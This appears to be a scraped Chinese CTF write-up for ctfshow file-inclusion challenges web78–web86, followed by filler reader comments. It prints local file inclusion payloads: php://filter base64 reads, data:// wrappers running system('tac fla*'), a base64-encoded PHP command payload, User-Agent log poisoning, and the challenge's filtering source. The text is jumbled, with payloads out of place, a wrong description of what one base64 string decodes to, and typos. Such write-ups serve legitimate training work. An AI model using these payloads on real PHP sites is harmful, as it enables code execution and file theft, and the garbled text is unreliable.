ctfshow-web文件包含(web78-web86)
ctfshow-web文件包含web78
方法三:data协议
data也是利用文件包含漏洞,将输入的代码当作php文件执行。
data协议格式:
?file=php://filter/read=convert.base64-encode/resource=flag.php构造payload:
ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}将我们输入的当作php文件来执行,以达到读取flag的目的。
web79
可以用代替
flag.php可以用*或?代替部分字符</p>或是直接使用base64编码
ctfshow{d03c9148-23af-48a1-92e1-ad011f98d415}?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于当你使用hackbar的时候,请使用raw模式发送post请求,否则服务端无法接收到post里的内容。
日志包含
data://[<MIME-type>][;charset=<encoding>][;base64],<data>user-agent里写上
web80
发现有fl0g.php
?file=data://text/plain,<?= system("tac fla*") ?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==
PD9waHAgc3lzdGVtKCd0YWMgZmxhKicpOyA/Pg==等于<?php system('cat flag.php');wbe81
ctfshow{e37fa4f8-13aa-40d3-a57e-dd2af3f4030e}发现比较上一题多了:绕过,我们还是可以使用日志包含
data://[<MIME-type>][;charset=<encoding>][;base64],<data>User-Agent
发现存在fl0g.php,直接读取
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}web82
session特性与条件竞争
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园
东西不错很实用谢谢分享 喜欢鼓捣这些软件,现在用得少,谢谢分享! yyds。多谢分享 这个好,看起来很实用 热心回复! 感谢,下载保存了 这个好,看起来很实用 喜欢鼓捣这些软件,现在用得少,谢谢分享! 这个好,看起来很实用 感谢发布原创作品,程序园因你更精彩 喜欢鼓捣这些软件,现在用得少,谢谢分享! 这个好,看起来很实用 这个有用。 前排留名,哈哈哈 过来提前占个楼 热心回复! 这个好,看起来很实用 东西不错很实用谢谢分享 鼓励转贴优秀软件安全工具和文档!